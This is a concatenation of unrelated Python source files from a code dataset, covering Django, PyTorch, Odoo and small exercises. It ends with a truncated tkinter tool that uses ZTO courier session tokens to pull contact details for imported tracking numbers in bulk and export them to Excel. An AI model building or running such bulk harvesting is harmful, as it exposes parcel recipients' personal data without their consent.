URLconf\n 1. Import the include() function: from django.conf.urls import url, include\n 2. Add a URL to urlpatterns: url(r'^blog/', include('blog.urls'))\n\"\"\"\nfrom django.conf.urls import url\nfrom django.contrib import admin\nfrom app01 import views\nfrom django.views.static import serve\nfrom day60 import settings\n\n\n\nurlpatterns = [\n url(r'^admin/', admin.site.urls),\n # 1 注册功能\n url(r'^register/', views.register, name='_register'),\n # 2 登陆功能\n url(r'^login/', views.login, name='_login'),\n # 3 图片验证码相关\n url(r'^get_code/', views.get_code),\n # 4 首页相关\n url(r'^home/', views.home, name='_home'),\n # 5 注销功能\n url(r'^logout/', views.logout, name='_logout'),\n # 6 修改密码\n url(r'^set_pwd/', views.set_password, name='_set_pwd'),\n # 7 暴露任意后端资源配置\n url(r'^media/(?P.*)', serve, {\"document_root\": settings.MEDIA_ROOT}),\n\n # 11 点赞点踩\n url(r'^up_or_down/', views.up_or_down, name='updown'),\n\n # 12 文章评论\n url(r'^comment/', views.comment, name='_comment'),\n\n # 13 后台管理\n url(r'^backend/', views.backend, name='_backend'),\n\n # 14 添加文章\n url(r'^add_article/', views.add_article, name='_add_article'),\n\n # 15 编辑器上传图片\n url(r'^upload_image/', views.upload_image, name='_upload_image'),\n\n # 16 修改头像\n url(r'^set_avatar/', views.set_avatar, name='_set_avatar'),\n\n # 8 个人站点\n url(r'^(?P\\w+)/$', views.site, name='_site'),\n # 9 侧边栏筛选\n url(r'^(?P\\w+)/(?Pcategory|tag|archive)/(?P.*)/', views.site),\n # 10 文章详情页\n url(r'^(?P\\w+)/article/(?P\\d+)/', views.article_detail)\n]\n","sub_path":"day60/day60/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":2251,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"35866115","text":"import os\r\nfrom dataset_seg_stage2_Cup import Dataset_train, Dataset_val\r\nfrom torch.utils.data import DataLoader\r\nimport torch.optim as optim\r\nfrom tensorboardX import SummaryWriter\r\nimport numpy as np\r\nimport torch\r\nfrom loss_function.pytorch_loss_function import dice_BCE_loss\r\nfrom loss_function.DICE import dice1, DiceLoss\r\nimport segmentation_models_pytorch as smp\r\nimport math\r\nimport argparse\r\nimport shutil\r\nimport torch.nn as nn\r\nfrom utils import adjust_lr\r\n\r\nparser = argparse.ArgumentParser()\r\nparser.add_argument('--fold', type=int, default=-1, help='fold of cross validation')\r\nparser.add_argument('--gpu', type=str, default=0, help='which gpu is used')\r\nparser.add_argument('--bs', type=int, default=32, help='batch size')\r\nparser.add_argument('--name', type=str, default='dp_10', help='net name')\r\nparser.add_argument('--nbo', type=int, default=1, help='num_bs_opti')\r\nparser.add_argument('--epoch', type=int, default=2000, help='all_epochs')\r\nparser.add_argument('--net', type=str, default='Unet', help='net')\r\nargs = parser.parse_args()\r\nos.environ[\"CUDA_VISIBLE_DEVICES\"] = args.gpu\r\n\r\ninput_size = (512, 512)\r\nlr_max = 0.0001\r\ndata_path = 'data'\r\nL2 = 0.0001\r\nsave_name = '{}_{}_bs{}_nbo{}_size{}_epoch{}_fold{}'.format(args.name, args.net, args.bs, args.nbo, input_size[0], args.epoch, args.fold)\r\nos.makedirs(os.path.join('trained_models/seg/stage2/Cup', save_name), exist_ok=True)\r\ntrain_writer = SummaryWriter(os.path.join('trained_models/seg/stage2/Cup', save_name, 'log/train'), flush_secs=2)\r\nval_writer = SummaryWriter(os.path.join('trained_models/seg/stage2/Cup', save_name, 'log/val'), flush_secs=2)\r\nprint(save_name)\r\n\r\nprint('dataset loading')\r\ntrain_data = Dataset_train(data_root=data_path, size=input_size, fold=args.fold)\r\ntrain_dataloader = DataLoader(dataset=train_data, batch_size=args.bs, shuffle=True, num_workers=32, pin_memory=True)\r\nval_data = Dataset_val(data_root=data_path, size=input_size, fold=args.fold)\r\nval_dataloader = DataLoader(dataset=val_data, batch_size=args.bs, shuffle=False, num_workers=32, pin_memory=True)\r\n\r\nprint('model loading')\r\nif args.net.lower() == 'unet_resnet34':\r\n net = smp.Unet('resnet34', in_channels=3, classes=1, activation=None)\r\nif args.net.lower() == 'unet_resnet101':\r\n net = smp.Unet('resnet101', in_channels=3, classes=1, activation=None).cuda()\r\nif args.net.lower() == 'deeplab_resnet34':\r\n net = smp.DeepLabV3Plus('resnet34', in_channels=3, classes=1, activation=None).cuda()\r\n\r\nnet.cuda()\r\ntrain_data_len = train_data.len\r\nval_data_len = val_data.len\r\nprint('train_lenth: %i val_lenth: %i' % (train_data_len, val_data_len))\r\n\r\nDice_Loss = DiceLoss()\r\nBCE_Loss = nn.BCEWithLogitsLoss(reduction='none')\r\noptimizer = optim.Adam(net.parameters(), lr=lr_max, weight_decay=L2)\r\nbest_dice = 0\r\n\r\nprint('training')\r\nfor epoch in range(args.epoch):\r\n net.train()\r\n lr = adjust_lr(optimizer, lr_max, epoch, args.epoch)\r\n print('lr for this epoch:', lr)\r\n epoch_train_loss = []\r\n epoch_train_Cup_dice = []\r\n for i, (inputs, labels, masks) in enumerate(train_dataloader):\r\n optimizer.zero_grad()\r\n inputs, labels, masks = inputs.float().cuda(), labels.float().cuda().unsqueeze(1), masks.float().cuda().unsqueeze(1)\r\n results = net(inputs)\r\n bceloss = BCE_Loss(results, labels)\r\n bceloss = (bceloss * masks).sum() / masks.sum()\r\n results = torch.sigmoid(results) * masks\r\n diceloss = Dice_Loss(results, labels)\r\n total_loss = diceloss + bceloss\r\n train_loss_back = total_loss / args.nbo\r\n train_loss_back.backward()\r\n if (i + 1) % args.nbo == 0:\r\n optimizer.step()\r\n predictions = results.cpu().float()\r\n predictions[predictions <= 0.5] = 0\r\n predictions[predictions > 0.5] = 1\r\n Cup_dice = dice1(labels.cpu(), predictions).detach().numpy()\r\n epoch_train_loss.append(total_loss.item())\r\n epoch_train_Cup_dice.append(Cup_dice)\r\n print('[%d/%d, %5d/%d] train_loss: %.3f Cup_dice: %.3f ' % (epoch + 1, args.epoch, i + 1,\r\n math.ceil(train_data_len / args.bs), total_loss.item(), Cup_dice))\r\n\r\n with torch.no_grad():\r\n net.eval()\r\n epoch_val_loss = []\r\n epoch_val_Cup_dice = []\r\n for i, (inputs, labels, masks) in enumerate(val_dataloader):\r\n inputs, labels, masks = inputs.float().cuda(), labels.float().cuda().unsqueeze(\r\n 1), masks.float().cuda().unsqueeze(1)\r\n results = net(inputs)\r\n bceloss = BCE_Loss(results, labels)\r\n bceloss = (bceloss * masks).sum() / masks.sum()\r\n results = torch.sigmoid(results) * masks\r\n diceloss = Dice_Loss(results, labels)\r\n total_loss = diceloss + bceloss\r\n predictions = results.cpu().float()\r\n predictions[predictions <= 0.5] = 0\r\n predictions[predictions > 0.5] = 1\r\n Cup_dice = dice1(labels.cpu(), predictions).detach().numpy()\r\n epoch_val_loss.append(total_loss.item())\r\n epoch_val_Cup_dice.append(Cup_dice)\r\n epoch_train_loss = np.mean(epoch_train_loss)\r\n epoch_train_Cup_dice = np.mean(epoch_train_Cup_dice)\r\n epoch_val_loss = np.mean(epoch_val_loss)\r\n epoch_val_Cup_dice = np.mean(epoch_val_Cup_dice)\r\n print('[%d/%d] train_loss: %.3f Cup_dice: %.3f \\n val_loss: %.3f Cup_dice: %.3f ' %\r\n (epoch + 1, args.epoch, epoch_train_loss, epoch_train_Cup_dice, epoch_val_loss, epoch_val_Cup_dice))\r\n train_writer.add_scalar('lr', lr, epoch)\r\n train_writer.add_scalar('loss', epoch_train_loss, epoch)\r\n train_writer.add_scalar('Cup_dice', epoch_train_Cup_dice, epoch)\r\n val_writer.add_scalar('loss', epoch_val_loss, epoch)\r\n val_writer.add_scalar('Cup_dice', epoch_val_Cup_dice, epoch)\r\n val_writer.add_scalar('best_dice', best_dice, epoch)\r\n if epoch + 1 == args.epoch:\r\n torch.save(net.state_dict(),\r\n os.path.join('trained_models/seg/stage2/Cup', save_name, 'epoch' + str(epoch + 1) + '.pth'))\r\n if epoch_val_Cup_dice > best_dice:\r\n best_dice = epoch_val_Cup_dice\r\n torch.save(net.state_dict(),\r\n os.path.join('trained_models/seg/stage2/Cup', save_name, 'best_dice.pth'))\r\ntrain_writer.close()\r\nval_writer.close()\r\nprint('saved_model_name:', save_name)","sub_path":"train_seg_stage2_Cup.py","file_name":"train_seg_stage2_Cup.py","file_ext":"py","file_size_in_byte":6327,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"44570382","text":"'''\n-------------------------------------------------------\n[program, library, or function name]\n-------------------------------------------------------\nAuthor: Tiro Timmers\nID: 09017000\nEmail: timm7000@mylaurier.ca\nVersion: Dec 15, 2010\n-------------------------------------------------------\n[program description]\n-------------------------------------------------------\n\n\ndef find_genes(gene, sequence):\n i = 0\n local = []\n occur = sequence.count(gene)\n l = sequence.find(gene)\n while l != -1:\n l = sequence[l:].find(gene)\n local += [l]\n l = sequence[l:].find(gene)\n return occur, local\n \nsequence = 'avdgagtactsdfactactfgactlkact'\ngene = 'act'\n\noccur, local = find_genes(gene, sequence)\n\nprint(occur, local)\n'''\n\ndef find_genes(gene,sequence):\n list = []\n g_len = len(gene)\n occur = sequence.count(gene)\n \n for i in range(len(sequence)):\n if sequence[i:i+g_len] == gene:\n list.append(i)\n return occur, list\n\nsequence = 'avdgagtactsdfactactfgactlkact'\ngene = 'act'\n\noccur, list = find_genes(gene, sequence)\n\nprint(occur, list)","sub_path":"ExamReview/src/question13.py","file_name":"question13.py","file_ext":"py","file_size_in_byte":1114,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"427114985","text":"from matrix import Matrix\n\n\nclass RegularBoundMatrix(Matrix):\n def __init__(self, factory='geo', transform_data=None,\n nxi=3, nyj=2, nzk=1,\n dx0=1, dy0=3, dz0=3,\n dxi=1, dyj=2, dzk=3,\n dx1=1, dy1=3, dz1=3,\n inputs=None,\n x0_y0_z0=None, xi_y0_z0=None, x1_y0_z0=None,\n x0_yj_z0=None, xi_yj_z0=None, x1_yj_z0=None,\n x0_y1_z0=None, xi_y1_z0=None, x1_y1_z0=None,\n x0_y0_zk=None, xi_y0_zk=None, x1_y0_zk=None,\n x0_yj_zk=None, xi_yj_zk=None, x1_yj_zk=None,\n x0_y1_zk=None, xi_y1_zk=None, x1_y1_zk=None,\n x0_y0_z1=None, xi_y0_z1=None, x1_y0_z1=None,\n x0_yj_z1=None, xi_yj_z1=None, x1_yj_z1=None,\n x0_y1_z1=None, xi_y1_z1=None, x1_y1_z1=None):\n transform_data = [] if transform_data is None else transform_data\n coordinates_type = 'delta'\n # n = (nxi + 2)*(nyj + 2)*(nzk + 2)\n # print(nxi, nyj, nzk, n)\n xs = [dx0] + [dxi for _ in range(nxi)] + [dx1]\n ys = [dy0] + [dyj for _ in range(nyj)] + [dy1]\n zs = [dz0] + [dzk for _ in range(nzk)] + [dz1]\n global_index_map = {\n (-1, -1, -1): x0_y0_z0,\n (0, -1, -1): xi_y0_z0,\n (1, -1, -1): x1_y0_z0,\n (-1, 0, -1): x0_yj_z0,\n (0, 0, -1): xi_yj_z0,\n (1, 0, -1): x1_yj_z0,\n (-1, 1, -1): x0_y1_z0,\n (0, 1, -1): xi_y1_z0,\n (1, 1, -1): x1_y1_z0,\n (-1, -1, 0): x0_y0_zk,\n (0, -1, 0): xi_y0_zk,\n (1, -1, 0): x1_y0_zk,\n (-1, 0, 0): x0_yj_zk,\n (0, 0, 0): xi_yj_zk,\n (1, 0, 0): x1_yj_zk,\n (-1, 1, 0): x0_y1_zk,\n (0, 1, 0): xi_y1_zk,\n (1, 1, 0): x1_y1_zk,\n (-1, -1, 1): x0_y0_z1,\n (0, -1, 1): xi_y0_z1,\n (1, -1, 1): x1_y0_z1,\n (-1, 0, 1): x0_yj_z1,\n (0, 0, 1): xi_yj_z1,\n (1, 0, 1): x1_yj_z1,\n (-1, 1, 1): x0_y1_z1,\n (0, 1, 1): xi_y1_z1,\n (1, 1, 1): x1_y1_z1}\n inputs = [] if inputs is None else inputs\n inputs_map, type_map = [], []\n for k in range(-1, nzk + 2 - 1):\n for j in range(-1, nyj + 2 - 1):\n for i in range(-1, nxi + 2 - 1):\n gi = (i // nxi, j // nyj, k // nzk)\n # print(gi)\n item = global_index_map[gi]\n if item is not None:\n if isinstance(item[0], str):\n inputs.append(item[0])\n inputs_map.append(len(inputs) - 1)\n else:\n inputs_map.append(item[0])\n type_map.append(item[1])\n else:\n inputs_map.append(0)\n type_map.append(0)\n Matrix.__init__(self, factory, xs, ys, zs, lcs=None,\n coordinates_type=coordinates_type,\n transform_data=transform_data,\n txs=None, tys=None, tzs=None,\n type_map=type_map, inputs=inputs,\n volumes_map=None, volumes_names=None,\n surfaces_map=None, surfaces_names=None,\n inputs_map=inputs_map,\n recs_map=None, trans_map=None)\n\n\n","sub_path":"regular_bound_matrix.py","file_name":"regular_bound_matrix.py","file_ext":"py","file_size_in_byte":3493,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"48888063","text":"\"\"\"\nThis is my take on the leetcode twosum problem. \nProblem statement:\n\nGiven an array of numbers [7, 2, 11, 15] and a target number 9, for instance...\nReturn the indices of any two numbers within the array that add up to the target number. \nYou cannot use the same number twice. \nYou may return the indices in any order.\n\n\"\"\"\ndef twoSum(nums, target: int):\n catalog = {}\n for index in range(len(nums)):\n diff = target-nums[index]\n if diff in catalog.keys():\n return [index, catalog[diff]]\n else:\n catalog[nums[index]] = index\n ","sub_path":"leetcode/twosum.py","file_name":"twosum.py","file_ext":"py","file_size_in_byte":589,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"133206433","text":"# -*- coding: utf-8 -*-\n# Part of Odoo. See LICENSE file for full copyright and licensing details.\nimport json\nimport requests\nfrom dateutil.relativedelta import relativedelta\nfrom odoo import api, fields, models, _\nclass positions(models.Model):\n _inherit = \"gpsmap.positions\"\n\n def run_scheduler_get_position(self):\n #positions_obj =self.env['gpsmap.positions'] \n vehicle_obj =self.env['fleet.vehicle']\n \n vehicle_args =[]\n vehicle_data =vehicle_obj.search(vehicle_args, offset=0, limit=None, order=None)\n\n url = \"http://solesgps.com/sitio_web/ajax/odoo.php?key=asfasfasf\"\n req = requests.get(url)\n req.raise_for_status()\n json_positions = req.json()\n for position_row in json_positions: \n print(\"===========================\")\n #print(position_row) \n for vehicle in vehicle_data: \n #print(\"VEHICULO=================\",vehicle)\n \n if(position_row['uniqueid']==vehicle['imei']):\n print(\"CREANDO POSITIONS\")\n data_create={} \n data_create['protocol'] =position_row['protocol']\n data_create['deviceid'] =vehicle['id']\n data_create['servertime'] =position_row['servertime']\n data_create['devicetime'] =position_row['devicetime']\n data_create['fixtime'] =position_row['fixtime']\n data_create['valid'] =position_row['valid']\n data_create['latitude'] =position_row['latitude']\n data_create['longitude'] =position_row['longitude']\n data_create['altitude'] =position_row['altitude']\n data_create['speed'] =position_row['speed']\n data_create['course'] =position_row['course']\n data_create['address'] =position_row['address']\n data_create['attributes'] =position_row['attributes']\n data_create['other'] =position_row['other']\n data_create['leido'] =position_row['leido']\n data_create['event'] =position_row['event']\n \n self.create(data_create) \n\n","sub_path":"solesgps_json/models/gpsmap.py","file_name":"gpsmap.py","file_ext":"py","file_size_in_byte":2555,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"82310961","text":"import glob\nimport sys\n# to grab first and second argument\nimport os\n# to grab path\nfrom PIL import Image\n\n\n# Grab first and second argument\nimage_folder = sys.argv[1]\noutput_folder = sys.argv[2]\n\n# check if new/ exists, if not create\nif not os.path.exists(output_folder):\n\tos.makedirs(output_folder)\n\n\nfilename = [f for f in glob.glob(image_folder+'*.jpg')] # or .png, .tif, etc\n\n# loop through Pokedex,\nfor filename in os.listdir(image_folder):\n\timg = Image.open(f'{image_folder}{filename}')\n\tclean_name = os.path.splitext(filename)[0]\n\n\timg.save(f'{output_folder}{clean_name}.png', 'png')\n\tprint('all done!')\n\n# convert to png\n\n# save to new folder","sub_path":"JPEGtoPNGconverter.py","file_name":"JPEGtoPNGconverter.py","file_ext":"py","file_size_in_byte":652,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"446799616","text":"import time\n\nfrom django.db import IntegrityError\nfrom django.db.models import Q\nfrom event_lib.managers.mysql_models import *\nfrom event_lib.managers.cache_manager import cache_data_by_keys, CACHE_KEY_FUNC_GET_EVENT_INFOS_BY_IDS, \\\n one_key_cache_data, CACHE_KEY_FUNC_GET_EVENT_DETAIL_BY_ID, remove_key_cache\nfrom event_lib.managers import user_manager\nimport event_lib.utils as ut\nfrom django.db import connection\n\n\ndef create_event(create_uid, start_time, end_time, channel, location, name, image_url, description):\n extra_data = {\n \"location\": location,\n \"name\": name,\n \"image_url\": image_url,\n \"description\": description,\n }\n model = EventDB.EventTab.objects.create(\n create_uid=create_uid,\n create_time=ut.get_timestamp(),\n start_time=start_time,\n end_time=end_time,\n channel=channel,\n extra_data=ut.to_json(extra_data)\n )\n return model.id\n\n\ndef comment_on_event(user_id, event_id, comment_detail):\n try:\n EventDB.EventCommentTab.objects.create(\n event_id=event_id,\n user_id=user_id,\n extra_data=ut.to_json({\n \"comment\": comment_detail,\n })\n )\n remove_key_cache(CACHE_KEY_FUNC_GET_EVENT_DETAIL_BY_ID[\"cache_prefix\"] % event_id)\n except IntegrityError:\n pass\n\n\n@one_key_cache_data(**CACHE_KEY_FUNC_GET_EVENT_DETAIL_BY_ID)\ndef get_detail(event_id):\n result = {}\n participate_ids_set = set(EventDB.EventParticipantTab.objects.filter(event_id=event_id).values_list(\"user_id\", flat=True))\n user_ids_set = set(participate_ids_set)\n user_like_ids_set = set(EventDB.EventLikeTab.objects.filter(event_id=event_id).values_list(\"user_id\", flat=True))\n comments = list(EventDB.EventCommentTab.objects.filter(event_id=event_id).values())\n user_ids_set.update({comment[\"user_id\"] for comment in comments})\n user_ids_set.update(user_like_ids_set)\n user_info_dict = user_manager.get_user_infos_by_ids(list(user_ids_set))\n participant_list = []\n for user_id in participate_ids_set:\n user_info = user_info_dict.get(user_id)\n if not user_info:\n continue\n participant_list.append({\n \"user_id\": user_id,\n \"user_name\": user_info[\"user_name\"],\n })\n result[\"participants\"] = participant_list\n\n user_like_list = []\n for user_id in user_like_ids_set:\n user_info = user_info_dict.get(user_id)\n if not user_info:\n continue\n user_like_list.append({\n \"user_id\": user_id,\n \"user_name\": user_info[\"user_name\"]\n })\n result[\"user_like_infos\"] = user_like_list\n\n comment_list = []\n for comment in comments:\n extra_data = comment.pop(\"extra_data\")\n extra_data = ut.from_json(extra_data)\n user_id = comment[\"user_id\"]\n comment_list.append({\n \"user_id\": user_id,\n \"user_name\": user_info_dict.get(user_id, {}).get(\"user_name\", \"\"),\n \"comment\": extra_data[\"comment\"]\n })\n result[\"comments\"] = comment_list\n\n return result\n\n\ndef get_event_ids(from_time, to_time, channels):\n query = EventDB.EventTab.objects.exclude(Q(start_time__gt=to_time) | Q(end_time__lt=from_time))\n result = list(query.filter(channel__in=channels).values_list(\"id\", flat=True))\n result.sort()\n return result\n\n\ndef get_event_ids_v2(from_time, to_time, channels, from_id=0, count=2000):\n query = EventDB.EventTab.objects.filter(start_time__gte=from_time, end_time__lte=to_time,\n channel__in=channels, id__gt=from_id).order_by(\"id\")\n return list(query.values_list(\"id\", flat=True)[:count])\n\n\n@cache_data_by_keys(**CACHE_KEY_FUNC_GET_EVENT_INFOS_BY_IDS)\ndef get_event_infos(event_ids):\n models = list(EventDB.EventTab.objects.filter(id__in=event_ids).values())\n result = {}\n for model in models:\n extra_data = model.pop(\"extra_data\")\n extra_data = ut.from_json(extra_data)\n model.update({\n \"location\": extra_data[\"location\"],\n \"description\": extra_data[\"description\"],\n \"image_url\": extra_data[\"image_url\"],\n \"name\": extra_data[\"name\"],\n })\n result[model[\"id\"]] = model\n return result\n\n\ndef like_event(user_id, event_id):\n try:\n EventDB.EventLikeTab.objects.create(\n event_id=event_id,\n user_id=user_id\n )\n remove_key_cache(CACHE_KEY_FUNC_GET_EVENT_DETAIL_BY_ID[\"cache_prefix\"] % event_id)\n except IntegrityError:\n pass\n\n\ndef participate_in_event(user_id, event_id):\n try:\n EventDB.EventParticipantTab.objects.create(\n event_id=event_id,\n user_id=user_id\n )\n remove_key_cache(CACHE_KEY_FUNC_GET_EVENT_DETAIL_BY_ID[\"cache_prefix\"] % event_id)\n except IntegrityError:\n pass\n","sub_path":"event_lib/managers/event_manager.py","file_name":"event_manager.py","file_ext":"py","file_size_in_byte":4901,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"638998111","text":"def pal(s):\n if len(s) == 0 or len(s) == 1:\n return True;\n elif s[0] == s[-1]:\n return pal(s[1:len(s)-1])\n else:\n return False\n\ndef toChars(s):\n s = s.lower()\n ans = ''\n for c in s:\n if c in 'abcdefghijklmnoprstuvwxyz':\n ans += c\n return ans\n\ns = input('Palindrome: ')\nprint(pal(toChars(s)))","sub_path":"MIT 6.0001/Palindrome.py","file_name":"Palindrome.py","file_ext":"py","file_size_in_byte":351,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"14115048","text":"import lattice as lt\nimport numpy as np\n#import matplotlib.pyplot as plt\n\nreps = 1\nL = 40\nntemp=15\nphi = 1800\nsi_s=[1600,1700,1800,1900,2000]\n\ndef get_fname(itemp,iter_num,occ,disorder,rep):\n\treturn str(itemp)+'-'+str(iter_num)+'-'+str(occ)+'-'+str(disorder)+'-'+str(rep)+'.csv'\n\n\ndirectory = '../data_output/'\n\t\nfor si in si_s:\n\tfor itemp in range(ntemp):\n\t\tocc_sum = np.zeros((L,L),dtype=int)\n\t\tfor rep1 in range(1,reps+1):\n\t\t\t#print(rep1)\n\t\t\tsource_lattice = lt.Lattice(directory+get_fname(itemp,0,si,phi,rep1))\n\t\t\tfor rep2 in range(1,reps+1):\n\t\t\t\ttest_lattice = lt.Lattice(directory+get_fname(itemp,0,si,phi,rep2))\n\t\t\t\tnp.add(occ_sum,np.abs(source_lattice-test_lattice))\n\n\t\tact_map = occ_sum/float(L*L)\n\t\tnp.savetxt('./activity_maps/'+str(si)+'-'+str(itemp)+'.csv',act_map)\n\n#print(act_map)\n#plt.imshow(act_map,vmin=np.min(act_map),vmax=np.max(act_map),interpolation='nearest',cmap='summer')\n#plt.colorbar()\n#plt.imshow(lt.Lattice(directory+'Si-0_0-1800-0.csv'),alpha=0.2,cmap='PuBu')\n\n#plt.show()\n","sub_path":"mc/post_proc/temp_activity_map_mc.py","file_name":"temp_activity_map_mc.py","file_ext":"py","file_size_in_byte":1002,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"226112861","text":"import numpy as np\nimport cv2\n\nclass AVI(object):\n \"\"\"An object to store avi file data\n\n Parameters\n ----------\n file_path : str \n path to avi file\n\n Attributes\n ----------\n data : np.ndarray\n the data, with shape (n,y,x)\n\n Notes\n -----\n Currently assumes greyscale images, using only 1 of 3 channels when loading\n \"\"\"\n def __init__(self, file_path):\n self.file_path = file_path\n frs = []\n vc = cv2.VideoCapture(self.file_path)\n valid,fr = vc.read()\n while valid:\n frs.append(fr[:,:,0])\n valid,fr = vc.read()\n vc.release()\n self.data = np.array(frs)\n","sub_path":"pyfluo/images/avi.py","file_name":"avi.py","file_ext":"py","file_size_in_byte":671,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"195852185","text":"from tkinter import ttk\nfrom tkinter.filedialog import askdirectory, askopenfilename\nfrom tkinter import messagebox\nfrom threading import Thread\nfrom requests.exceptions import TooManyRedirects\nfrom concurrent.futures import ThreadPoolExecutor, wait\nimport requests\nimport openpyxl\nimport tkinter\nimport os\nimport json\nimport time\n\n\nclass ZTO(object):\n\n def __init__(self):\n self.dh_list = [] # 保存单号的列表\n self.task = None # 线程\n self.data_info = [] # 保存获取到的信息,方便导出\n self.data_erro = [] # 保存未成功获取的单号\n self.pool = ThreadPoolExecutor(10)\n self.init_gui()\n\n def init_gui(self):\n self.root = tkinter.Tk()\n self.root_width = 500 # 窗口款多\n self.root_height = 480 # 窗口高度\n self.init_root_wind() # 初始化主窗口信息\n\n header_frame = tkinter.Frame(self.root)\n header_frame.pack(fill=tkinter.X, pady=20, padx=20)\n\n header_frame_2 = tkinter.Frame(self.root)\n header_frame_2.pack(fill=tkinter.X, pady=12, padx=20)\n\n header_frame_3 = tkinter.Frame(self.root)\n header_frame_3.pack(fill=tkinter.X, pady=12, padx=50)\n\n # zto_session\n self.zto_session = tkinter.StringVar()\n tkinter.Label(header_frame, text='zto_session:').pack(side=tkinter.LEFT)\n self.zto_session_input = tkinter.Entry(header_frame, textvariable=self.zto_session, width=40)\n self.zto_session_input.pack(padx=12)\n\n # session\n tkinter.Label(header_frame_2, text=' session:').pack(side=tkinter.LEFT)\n self.session = tkinter.StringVar()\n self.session_input = tkinter.Entry(header_frame_2, textvariable=self.session, width=40)\n self.session_input.pack(padx=12)\n\n # 导入单号按钮, 短信接口获取, 查询接口获取\n\n # 导入单号按钮\n self.import_excel_btn = tkinter.Button(header_frame_3, text='导入单号', command=self.import_excel)\n self.import_excel_btn.pack(side=tkinter.LEFT, padx=12)\n\n self.select_api = tkinter.StringVar()\n tkinter.Radiobutton(header_frame_3, variable=self.select_api, text='短信接口获取', value=0).pack(side=tkinter.LEFT)\n tkinter.Radiobutton(header_frame_3, variable=self.select_api, text='查询接口获取', value=1).pack(side=tkinter.LEFT)\n self.select_api.set(0)\n\n # 开始检测按钮\n self.start_btn = tkinter.Button(header_frame_3, text='开始获取', command=self.start_get)\n self.start_btn.pack(side=tkinter.LEFT, padx=12)\n\n # 展示信息的表格\n # 商品表格的frame\n self.goods_Frame = tkinter.Frame(self.root)\n self.goods_Frame.pack(fill=tkinter.X)\n\n # 定义中心列表区域\n self.info = ttk.Treeview(self.goods_Frame, show=\"headings\", columns=('单号', '联系方式'))\n self.vbar = ttk.Scrollbar(self.goods_Frame, orient=tkinter.VERTICAL, command=self.info.yview)\n self.info.configure(yscrollcommand=self.vbar.set)\n self.info.column(\"单号\", anchor=\"center\", width=280)\n self.info.column(\"联系方式\", anchor=\"center\", width=200)\n self.info.heading(\"单号\", text=\"单号\")\n self.info.heading(\"联系方式\", text=\"联系方式\")\n self.info.grid(row=0, column=0, sticky=tkinter.NSEW)\n self.vbar.grid(row=0, column=1, sticky=tkinter.NS)\n\n # 导出信息按钮\n self.export_excel_btn = tkinter.Button(self.root, text='导出信息', width=40, command=self.export_info)\n self.export_excel_btn.pack(pady=10)\n\n self.root.mainloop()\n\n # 初始化主窗口\n def init_root_wind(self):\n self.root.title('中天系统v2.2')\n\n self.center_window() # 设置窗口剧中\n self.root.resizable(width=False, height=False) # 禁止窗口拉伸\n\n # 设置窗口剧中\n def center_window(self):\n \"\"\"\n 设置窗口剧中\n :param width: 窗口的宽度\n :param height: 窗口的高度\n :return: 自动设置窗口剧中\n \"\"\"\n screenwidth = self.root.winfo_screenwidth()\n screenheight = self.root.winfo_screenheight()\n size = '%dx%d+%d+%d' % (\n self.root_width, self.root_height, (screenwidth - self.root_width) / 2,\n (screenheight - self.root_height) / 2)\n self.root.geometry(size)\n\n # 导入excel表格\n def import_excel(self):\n excel_file = askopenfilename()\n if excel_file:\n if not os.path.isfile(excel_file):\n messagebox.showinfo('导入失败', '导入失败当前文件不存在!')\n return\n if not excel_file.endswith('xlsx'):\n messagebox.showinfo('导入失败', '导入文件应该是\"xlsx\"文件!')\n return\n self.dh_list = []\n workbook = openpyxl.load_workbook(excel_file)\n worksheet = workbook.active\n for row in worksheet.rows:\n value = row[0].value\n if value:\n self.dh_list.append(value)\n # temp_list = [str(row[0].value).strip() for row in worksheet.rows if str(row[0].value)]\n if self.dh_list:\n messagebox.showinfo('导入成功', '导入成功,当前导入单号数量: %s' % len(self.dh_list))\n print(self.dh_list)\n return\n else:\n messagebox.showinfo('导入失败', '当前文件没有数据!')\n return\n\n # 开始获取每个单号联系方式的按钮事件\n def start_get(self):\n # 判断单号是否导入\n if not self.dh_list:\n messagebox.showerror('Erro', '请先导入单号!')\n return\n # 判断session是否输入\n if not self.zto_session.get() or not self.session.get():\n tkinter.messagebox.showerror('ERRO', 'zto_session 或 session未输入!')\n return\n # 判断是否有任务在执行\n if self.task:\n if self.task.isAlive():\n tkinter.messagebox.showerror('ERRO', '当前有任务正在进行,请等待任务结束')\n return\n\n if messagebox.askyesno('开始?', '确定开始获取?'):\n self.task = Thread(target=self.inner_task)\n self.task.start()\n\n # 线程内的函数\n def inner_task(self):\n try:\n for _ in map(self.info.delete, self.info.get_children(\"\")):\n pass\n # export_dh_list = [self.dh_list[i:i + 500] for i in range(0, len(self.dh_list), 500)]\n export_dh_list = self.dh_list\n self.data_info = []\n self.data_erro = []\n zto_session = self.zto_session.get().strip()\n session = self.session.get().strip()\n func = self.get_info_msg\n if int(self.select_api.get()) == 1:\n func = self.get_info\n\n result = [self.pool.submit(func, zto_session, session, dh) for dh in export_dh_list]\n wait(result)\n messagebox.showinfo('成功', '全部单号获取完毕,请导出查看')\n except Exception as e:\n messagebox.showerror('出现BUG', 'BUG信息:%s' % e)\n self.data_info = []\n self.data_erro = []\n\n # 导出信息按钮事件\n def export_info(self):\n try:\n t = time.strftime('%Y-%m-%d-%H%M%S', time.localtime())\n diretory = askdirectory()\n if diretory:\n success_file = os.path.join(diretory, '%s-success.xlsx' % t)\n workbook = openpyxl.Workbook()\n worksheet = workbook.active\n for dd in self.data_info:\n worksheet.append(dd)\n 